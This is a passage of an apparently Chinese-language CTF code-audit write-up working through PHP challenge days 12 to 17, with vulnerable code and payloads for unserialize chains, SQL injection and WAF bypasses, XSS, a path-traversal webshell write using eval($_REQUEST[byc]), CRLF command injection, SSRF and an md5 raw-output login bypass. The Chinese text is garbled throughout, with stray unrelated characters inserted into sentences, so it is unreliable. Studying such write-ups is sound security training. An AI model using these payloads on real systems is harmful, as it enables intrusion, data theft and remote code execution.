@call_user_func_array(array($this, $this->method), $this->args);
}
else {
$this->__die("What do you do?");
}
$this->__close();
}
function __wakeup() {
foreach($this->args as $k => $v) {
$this->args[$k] = strtolower(trim(mysql_escape_string($v)));
}
}
}
class SoFun{
public $file='index.php';
function __destruct(){
if(!empty($this->file)) {
include $this->file;
}
}
function __wakeup(){
$this-> file='index.php';
}
}
if(isset($_GET["data"])) {
@unserialize($_GET["data"]);
}
else {
new HITCON("source", array());
}
?>
//config.php
<?php
$db_host = 'localhost';
$db_name = 'test';
$db_user = 'root';
$db_pass = '123';
$DEBUG = 'xx';
?>
// flag.php
<?php
!defined('IN_FLAG') && exit('Access Denied');
echo "flag{un3eri@liz3_i3_s0_fun}";
?>
先從簡(jiǎn)單的看起,首先是SoFun類品山。顯然繞過(guò)wakeup即可include可控?cái)?shù)據(jù)flag.php胆建。但是需要注意flag.php限制了必須defined('IN_FLAG')
。
注意到HITCON類則有一個(gè)跟前面例子一樣的loaddata肘交。那就可以用相同方法繞過(guò)執(zhí)行反序列化笆载。
HITCON類login方法顯然存在sql注入,且loaddata就是在這里被調(diào)用的。那么我們需要讓loaddata傳入的數(shù)據(jù)為SoFun類的文件包含序列化數(shù)據(jù)涯呻。
而這一數(shù)據(jù)來(lái)自$obj->role
.
$obj
是sql語(yǔ)句的返回結(jié)果凉驻。而sql表結(jié)構(gòu)中第三個(gè)字段role正是我們需要的。那么只要利用這個(gè)sql注入進(jìn)行union查詢就達(dá)成$obj->role
可控魄懂。
由于析構(gòu)函數(shù)中可以控制我們調(diào)用的方法及參數(shù)沿侈。所以以上思路可以執(zhí)行。
最后注意的是市栗。HITCON類的wakeup會(huì)對(duì)sql語(yǔ)句進(jìn)行轉(zhuǎn)義缀拭。所以我們用同樣的方法繞過(guò)wakeup即可
O:6:"HITCON":3:{s:6:"method";s:5:"login";s:4:"args";a:2:{s:8:"username";s:81:"1' union select 1,2,'a:1:{s:2:"xx";O:%2b5:"SoFun":2:{s:4:"file";s:8:"flag.php";}}'%23";s:8:"password";s:3:"234";}}
Day12
htmlentities()處理不全
這里的代碼存在一個(gè)xss攻擊.
輸出點(diǎn)在一個(gè)a標(biāo)簽。同時(shí)輸出時(shí)經(jīng)過(guò)了一次htmlentities.不過(guò)這個(gè)函數(shù)htmlentities()
并不能轉(zhuǎn)換所有的特殊字符填帽,是轉(zhuǎn)換除了空格之外的特殊字符蛛淋,且單引號(hào)和雙引號(hào)需要單獨(dú)控制
此處默認(rèn)值的話是不會(huì)轉(zhuǎn)義單引號(hào)的。
同時(shí)前面在變量覆蓋時(shí)傳入的變量只對(duì)$value
進(jìn)行類型轉(zhuǎn)換篡腌,強(qiáng)制變成int類型褐荷。但是這部分代碼只處理了 $value
變量,沒(méi)針對(duì) $key
變量進(jìn)行處理
所以payload是
/?a'onclick%3dalert(1)%2f%2f=c
繞過(guò)intval的同時(shí)執(zhí)行了a標(biāo)簽的onclik事件,達(dá)成xss.
練習(xí)
<?php
require 'db.inc.php';
if(isset($_REQUEST['username'])){
if(preg_match("/(?:\w*)\W*?[a-z].*(R|ELECT|OIN|NTO|HERE|NION)/i", $_REQUEST['username'])){
die("Attack detected!!!");
}
}
if(isset($_REQUEST['password'])){
if(preg_match("/(?:\w*)\W*?[a-z].*(R|ELECT|OIN|NTO|HERE|NION)/i", $_REQUEST['password'])){
die("Attack detected!!!");
}
}
function clean($str){
if(get_magic_quotes_gpc()){
$str=stripslashes($str);
}
return htmlentities($str, ENT_QUOTES);
}
$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);
$query='SELECT * FROM ctf.users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
#echo $query;
$result=mysql_query($query);
while($row = mysql_fetch_array($result))
{
echo "<tr>";
echo "<td>" . $row['name'] . "</td>";
echo "</tr>";
}
?>
這里首先要達(dá)成sql注入,自然比較關(guān)心是否能閉合單引號(hào)嘹悼。但是注意到,此處的htmlentities嚴(yán)格轉(zhuǎn)義了單雙引號(hào)叛甫。不能進(jìn)行閉合层宫。
但是不用引號(hào)閉合的另外的辦法就是非常常見(jiàn)的\
進(jìn)行轉(zhuǎn)義。這樣password的值就變成可控的注入位置了其监。
接下來(lái)比較關(guān)心的是代碼中對(duì)username與password關(guān)鍵字的過(guò)濾萌腿。這里過(guò)濾很簡(jiǎn)單,其他盲注之類的方法當(dāng)然可以做到。不過(guò)這里可以用到一個(gè)容易被忘記的小技巧:
php.ini中默認(rèn)
如果以 POST 抖苦、 GET 方式傳入相同的變量毁菱,那么用 REQUEST 獲取該變量的值將為 POST 該變量的值
所以post數(shù)據(jù)會(huì)覆蓋掉get的數(shù)據(jù)。我們用post傳正常的payload锌历、再用get執(zhí)行sql語(yǔ)句即可
get:username=\&password=union select 1,flag,3,4 from ctf.users%23
post: username=1&password=2
Day13
waf失效進(jìn)行sql注入
本題顯然代碼中存在sql語(yǔ)句拼接贮庞。但是只有一個(gè)addslashes,除非是二次注入否則不能利用。
然而代碼中卻出現(xiàn)了很弱智的檢查substr()
,其長(zhǎng)度被定死為20.那么我們只要卡在這個(gè)點(diǎn)使用單引號(hào)就能導(dǎo)致轉(zhuǎn)義失效了
user=1234567890123456789'&passwd=or 1=1#
在某CMS中,對(duì)sql語(yǔ)句進(jìn)行了htmlentites處理究西。但是同時(shí)數(shù)據(jù)在傳入前會(huì)進(jìn)行一次urldecode窗慎。我們知道,在waf檢測(cè)后再進(jìn)行解碼操作無(wú)疑是具有危害性的。(比如json_deocde如果在waf檢測(cè)之后的話,就能用unicode繞過(guò)任意字符waf)
練習(xí)
//index.php
<?php
require 'db.inc.php';
function dhtmlspecialchars($string) {
if (is_array($string)) {
foreach ($string as $key => $val) {
$string[$key] = dhtmlspecialchars($val);
}
}
else {
$string = str_replace(array('&', '"', '<', '>', '(', ')'), array('&', '"', '<', '>', '(', ')'), $string);
if (strpos($string, '&#') !== false) {
$string = preg_replace('/&((#(\d{3,5}|x[a-fA-F0-9]{4}));)/', '&\\1', $string);
}
}
return $string;
}
function dowith_sql($str) {
$check = preg_match('/select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/is', $str);
if ($check) {
echo "非法字符!";
exit();
}
return $str;
}
// 經(jīng)過(guò)第一個(gè)waf處理
foreach ($_REQUEST as $key => $value) {
$_REQUEST[$key] = dowith_sql($value);
}
// 經(jīng)過(guò)第二個(gè)WAF處理
$request_uri = explode("?", $_SERVER['REQUEST_URI']);
if (isset($request_uri[1])) {
$rewrite_url = explode("&", $request_uri[1]);
foreach ($rewrite_url as $key => $value) {
$_value = explode("=", $value);
if (isset($_value[1])) {
$_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
}
}
}
// 業(yè)務(wù)處理
if (isset($_REQUEST['submit'])) {
$user_id = $_REQUEST['i_d'];
$sql = "select * from ctf.users where id=$user_id";
$result=mysql_query($sql);
while($row = mysql_fetch_array($result))
{
echo "<tr>";
echo "<td>" . $row['name'] . "</td>";
echo "</tr>";
}
}
?>
這個(gè)練習(xí)很有營(yíng)養(yǎng)怔揩。用到了幾個(gè)php的特性
1.傳入的非法的 $_GET
數(shù)組參數(shù)名,PHP會(huì)將他們替換成下劃線
2.傳入多個(gè)相同參數(shù)時(shí),php只會(huì)接受最后一個(gè)(類似js了)
3.$_SERVER['REQUEST_URI']
方式獲得的參數(shù)捉邢,并不會(huì)對(duì)參數(shù)中的某些特殊字符進(jìn)行替換
本題代碼中,$_REQUEST
的數(shù)據(jù)會(huì)經(jīng)過(guò)dowith_sql
處理。而之后第二個(gè)waf會(huì)對(duì)$_SERVER['REQUEST_URI']
進(jìn)行dhtmlspecialchars()
處理.
那么此處思路如下,使用payload
i_d=padyload&i.d=123
經(jīng)過(guò)第一次waf時(shí)商膊,php會(huì)將參數(shù)中的某些特殊符號(hào)替換為下劃線伏伐。因此便得到了兩個(gè)i_d,其中不含惡意代碼的i_d
內(nèi)容通過(guò)檢查。
經(jīng)過(guò)第二次waf時(shí),由于代碼是通過(guò) $_SERVER['REQUEST_URI'] 取參數(shù).檢查的實(shí)際上是我們初始傳入的payload晕拆。這里由于是數(shù)值型注入,所以可以直接union得到flag
payload
submit=&i_d=-1/**/union/**/select/**/1,flag,3,4/**/from/**/ctf.users&i.d=123
Day14
變量覆蓋+路徑穿越
這里的代碼在析構(gòu)函數(shù)里有寫文件的方法藐翎。因此只要id可控就能控制路徑。同時(shí)看到構(gòu)造函數(shù)里存在變量覆蓋实幕,那么利用起來(lái)就不難了吝镣。
payload
id=../var/www/html/shell.php&shell=',)%0a<?=eval($_REQUEST[byc]);?>//
因?yàn)閷?shí)際上寫入的內(nèi)容是:
array(
'id'=>'../var/www/html/shell.php',
'lost'=>0,
'bought'=>0,
'shell'=>'\',)
<?=eval($_REQUEST[byc]);?>//',
)
所以需要先閉合,換行后寫shell注釋即可。
某CMS中也出現(xiàn)了類似的變量覆蓋漏洞昆庇。比如需要admin權(quán)限,而admin權(quán)限是由session數(shù)組的值決定的末贾。因此可以直接_SESSION[duomi_group_]=1&_SESSION[duomi_admin_]=1
覆蓋。
當(dāng)然,前提是當(dāng)前的php開啟了session_start()
Day15
PHP_SELF
關(guān)于$_SERVER['PHP']
:
PHP_SELF
指當(dāng)前的頁(yè)面絕對(duì)地址,它是可以控制的.
同時(shí)代碼中調(diào)用了一次urldecode,加上瀏覽器自帶的一次解碼,就可以通過(guò)二次url編碼進(jìn)行關(guān)鍵字繞過(guò)
http://www.test.com/index.php/http:%252f%252fblog.dyboy.cn?redirect=test¶ms=test123
此處payload即可達(dá)成302跳轉(zhuǎn)
PHP_SELF
這個(gè)考點(diǎn)之前zer0pts的題目中也有出現(xiàn)過(guò)
練習(xí)
// index.php
<?php
include "./config.php";
include "./flag.php";
error_reporting(0);
$black_list = "/admin|guest|limit|by|substr|mid|like|or|char|union|select|greatest|%00|\'|";
$black_list .= "=|_| |in|<|>|-|chal|_|\.|\(\)|#|and|if|database|where|concat|insert|having|sleep/i";
if(preg_match($black_list, $_GET['user'])) exit(":P");
if(preg_match($black_list, $_GET['pwd'])) exit(":P");
$query="select user from users where user='$_GET[user]' and pwd='$_GET[pwd]'";
echo "<h1>query : <strong><b>{$query}</b></strong><br></h1>";
$result = $conn->query($query);
if($result->num_rows > 0){
$row = $result->fetch_assoc();
if($row['user']) echo "<h2>Welcome {$row['user']}</h2>";
}
$result = $conn->query("select pwd from users where user='admin'");
if($result->num_rows > 0){
$row = $result->fetch_assoc();
$admin_pass = $row['pwd'];
}
if(($admin_pass)&&($admin_pass === $_GET['pwd'])){
echo $flag;
}
highlight_file(__FILE__);
?>
沒(méi)啥意思...跟之前校賽的套路題一樣的整吆。regexp
進(jìn)行注入;%00
來(lái)注釋拱撵。
Day16
$_REQUEST
本題主要是一個(gè)$_REQUEST
的例子。從題目邏輯上看,首先可以知道是進(jìn)行了一次ftp的連接,同時(shí)用intval
來(lái)試圖處理我們的輸入表蝙∷┎猓看似無(wú)法繞過(guò)。但是實(shí)際輸出下就會(huì)發(fā)現(xiàn)有蹊蹺: $_REQUEST
的內(nèi)容不受過(guò)濾函數(shù)影響府蛇。所以雖然$_REQUEST
內(nèi)容是上述三個(gè)全局變量的合集,但實(shí)際上是不會(huì)受影響的集索。
payload
?mode=1%0a%0dDELETE%20test.file
1可以達(dá)成mode的判斷。而后續(xù)的數(shù)據(jù)通過(guò)crlf被當(dāng)做命令執(zhí)行。刪除了文件务荆。
因此,需要注意$_REQUEST
的使用妆距。假如只對(duì)GET,POST,COOKIE
三種進(jìn)行過(guò)濾卻在代碼中拼接REQUEST
是不可取的。
練習(xí)
// index.php
<?php
function check_inner_ip($url)
{
$match_result=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url);
if (!$match_result){
die('url fomat error1');
}
try{
$url_parse=parse_url($url);
}
catch(Exception $e){
die('url fomat error2');
}
$hostname=$url_parse['host'];
$ip=gethostbyname($hostname);
$int_ip=ip2long($ip);
return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16 || ip2long('0.0.0.0')>>24 == $int_ip>>24;
}
function safe_request_url($url)
{
if (check_inner_ip($url)){
echo $url.' is inner ip';
}
else{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
$result_info = curl_getinfo($ch);
if ($result_info['redirect_url']){
safe_request_url($result_info['redirect_url']);
}
curl_close($ch);
var_dump($output);
}
}
$url = $_POST['url'];
if(!empty($url)){
safe_request_url($url);
}
else{
highlight_file(__file__);
}
//flag in flag.php
?>
// flag.php
<?php
if (! function_exists('real_ip') ) {
function real_ip()
{
$ip = $_SERVER['REMOTE_ADDR'];
if (is_null($ip) && isset($_SERVER['HTTP_X_FORWARDED_FOR']) && preg_match_all('#\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}#s', $_SERVER['HTTP_X_FORWARDED_FOR'], $matches)) {
foreach ($matches[0] AS $xip) {
if (!preg_match('#^(10|172\.16|192\.168)\.#', $xip)) {
$ip = $xip;
break;
}
}
} elseif (is_null($ip) && isset($_SERVER['HTTP_CLIENT_IP']) && preg_match('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/', $_SERVER['HTTP_CLIENT_IP'])) {
$ip = $_SERVER['HTTP_CLIENT_IP'];
} elseif (is_null($ip) && isset($_SERVER['HTTP_CF_CONNECTING_IP']) && preg_match('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/', $_SERVER['HTTP_CF_CONNECTING_IP'])) {
$ip = $_SERVER['HTTP_CF_CONNECTING_IP'];
} elseif (is_null($ip) && isset($_SERVER['HTTP_X_REAL_IP']) && preg_match('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/', $_SERVER['HTTP_X_REAL_IP'])) {
$ip = $_SERVER['HTTP_X_REAL_IP'];
}
return $ip;
}
}
$rip = real_ip();
if($rip === "127.0.0.1")
die("HRCTF{SSRF_can_give_you_flag}");
else
die("You IP is {$rip} not 127.0.0.1");
?>
這個(gè)應(yīng)該就是當(dāng)初郁師傅經(jīng)典ssrf的原型了函匕。要求從內(nèi)網(wǎng)ip 127.0.0.1訪問(wèn)flag.php才能得到flag.使用的自然是當(dāng)初blackhatpdf中分享的關(guān)于php及curl間對(duì)url解析的差異
url=http://foo@localhost:80@www.bycsec.top/flag.php
libcurl認(rèn)第一個(gè)@
后的作為host毅厚。php及其他語(yǔ)言都認(rèn)最后一個(gè)@
后的作為host.所以前面繞過(guò)內(nèi)網(wǎng)ip限制。在后面成功執(zhí)行了curl
Day17
md5 raw_output = true
這其實(shí)是一個(gè)很經(jīng)典的漏洞 => 如果提到 ffifdyop應(yīng)該就很熟悉了浦箱。傳說(shuō)中的萬(wàn)能密碼繞過(guò)。 而之所以存在這個(gè)繞過(guò)的原因是md5這個(gè)函數(shù)第二個(gè)選項(xiàng)就是raw_output
祠锣。默認(rèn)為false酷窥。但是假如設(shè)為true的話MD5報(bào)文摘要將以16字節(jié)長(zhǎng)度的原始二進(jìn)制格式返回。這樣就會(huì)存在一些奇怪的字符伴网。因此 ffifdyop 在經(jīng)過(guò)md5后的內(nèi)容恰好是'or'6\xc9]\x99
.符合萬(wàn)能密碼的要求蓬推。
本題也是同樣的道理。addslashes
看似不能繞過(guò)澡腾。但是因?yàn)槠唇拥氖莔d5后的pass.所以只要找到一個(gè)數(shù)字md5后的raw內(nèi)容包含\
即可沸伏。
payload
user= OR 1=1#&passwd=128
summary
時(shí)隔兩個(gè)月終于又把a(bǔ)uditlabs的坑填完了...... 不得不說(shuō)里面涵蓋的很多php相關(guān)漏洞都是些新手剛剛?cè)腴T平臺(tái)里的那些經(jīng)典題目的原理。當(dāng)初有的半懂不懂动分,現(xiàn)在算是把坑給填上了毅糟。
然后自己最近有些糾結(jié)。原本因?yàn)榻佑|了一些國(guó)際賽后澜公,開始投身nodejs與python相關(guān)的漏洞了姆另。出了幾道題也都只是node跟python.唯一一道php還是sql注入》厍可能自己心里對(duì)php還是談不上喜歡吧迹辐,沒(méi)有鉆研細(xì)節(jié)的勁頭,更沒(méi)有進(jìn)行相關(guān)開發(fā)的想法甚侣。但最近頭一次實(shí)戰(zhàn)發(fā)現(xiàn)php仍舊是網(wǎng)站大頭之一,并且ctf比賽中php還是有著能夠難倒人的絕對(duì)水準(zhǔn)明吩。假如我想要繼續(xù)提升實(shí)力,仍舊得在php下下不少功夫殷费。更何況看框架的洞已經(jīng)算最近的一大樂(lè)趣了233.
所以說(shuō),希望自己還是能花點(diǎn)時(shí)間去多看看php.找時(shí)間練練手印荔。最后能多出幾個(gè)題就好了。